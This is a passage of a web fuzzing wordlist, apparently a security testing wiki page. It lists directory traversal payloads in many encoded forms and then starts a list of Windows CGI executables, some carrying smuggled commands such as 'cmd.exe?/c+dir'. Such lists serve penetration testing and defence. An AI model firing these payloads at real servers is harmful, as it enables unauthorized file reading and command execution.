%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> ..%u2216{FILE}<br /> ..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uF025{FILE}<br /> ..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> %uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> ..0x2f{FILE}<br /> ..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> 0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> ..0x5c{FILE}<br /> ..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> 0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> ..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> %c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> ..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> %c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> ///%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> \\\%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..//{FILE}<br /> ..//..//{FILE}<br /> ..//..//..//{FILE}<br /> ..//..//..//..//{FILE}<br /> ..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//..//{FILE}<br /> ..///{FILE}<br /> ..///..///{FILE}<br /> ..///..///..///{FILE}<br /> ..///..///..///..///{FILE}<br /> ..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///..///{FILE}<br /> ..\\{FILE}<br /> ..\\..\\{FILE}<br /> ..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\\{FILE}<br /> ..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ./\/./{FILE}<br /> ./\/././\/./{FILE}<br /> ./\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> .\/\.\{FILE}<br /> .\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\..\{FILE}<br /> ./../{FILE}<br /> ./.././../{FILE}<br /> ./.././.././../{FILE}<br /> ./.././.././.././../{FILE}<br /> ./.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././.././../{FILE}<br /> .\..\{FILE}<br /> .\..\.\..\{FILE}<br /> .\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .//..//{FILE}<br /> .//..//.//..//{FILE}<br /> .//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .\\..\\{FILE}<br /> .\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> ../{FILE}<br /> ../..//{FILE}<br /> ../..//../{FILE}<br /> ../..//../..//{FILE}<br /> ../..//../..//../{FILE}<br /> ../..//../..//../..//{FILE}<br /> ../..//../..//../..//../{FILE}<br /> ../..//../..//../..//../..//{FILE}<br /> ..\{FILE}<br /> ..\..\\{FILE}<br /> ..\..\\..\{FILE}<br /> ..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\{FILE}<br /> ..///{FILE}<br /> ../..///{FILE}<br /> ../..//..///{FILE}<br /> ../..//../..///{FILE}<br /> ../..//../..//..///{FILE}<br /> ../..//../..//../..///{FILE}<br /> ../..//../..//../..//..///{FILE}<br /> ../..//../..//../..//../..///{FILE}<br /> ..\\\{FILE}<br /> ..\..\\\{FILE}<br /> ..\..\\..\\\{FILE}<br /> ..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\\{FILE}<br /> &lt;/pre&gt;<br /> <br /> === Common Windows CGI (Update: 17 March 2009) ===<br /> &lt;pre&gt;# Common Windows CGI (Update: 17 March 2009 <br /> # fuzz inside executable directories<br /> # on windows, this is usually /scripts or /cgi-bin<br /> # adam.muntner@quietmove.com<br /> <br /> cart32.exe<br /> get32.exe<br /> visadmin.exe<br /> foxweb.exe<br /> webplus.exe?about<br /> fpsrvadm.exe<br /> MsmMask.exe<br /> cmd.exe?/c+dir<br /> cmd1.exe?/c+dir<br /> post32.exe|dir%20c:\\<br /> cgitest.exe<br /> hpnst.exe?c=p+i=<br /> Pbcgi.exe<br /> 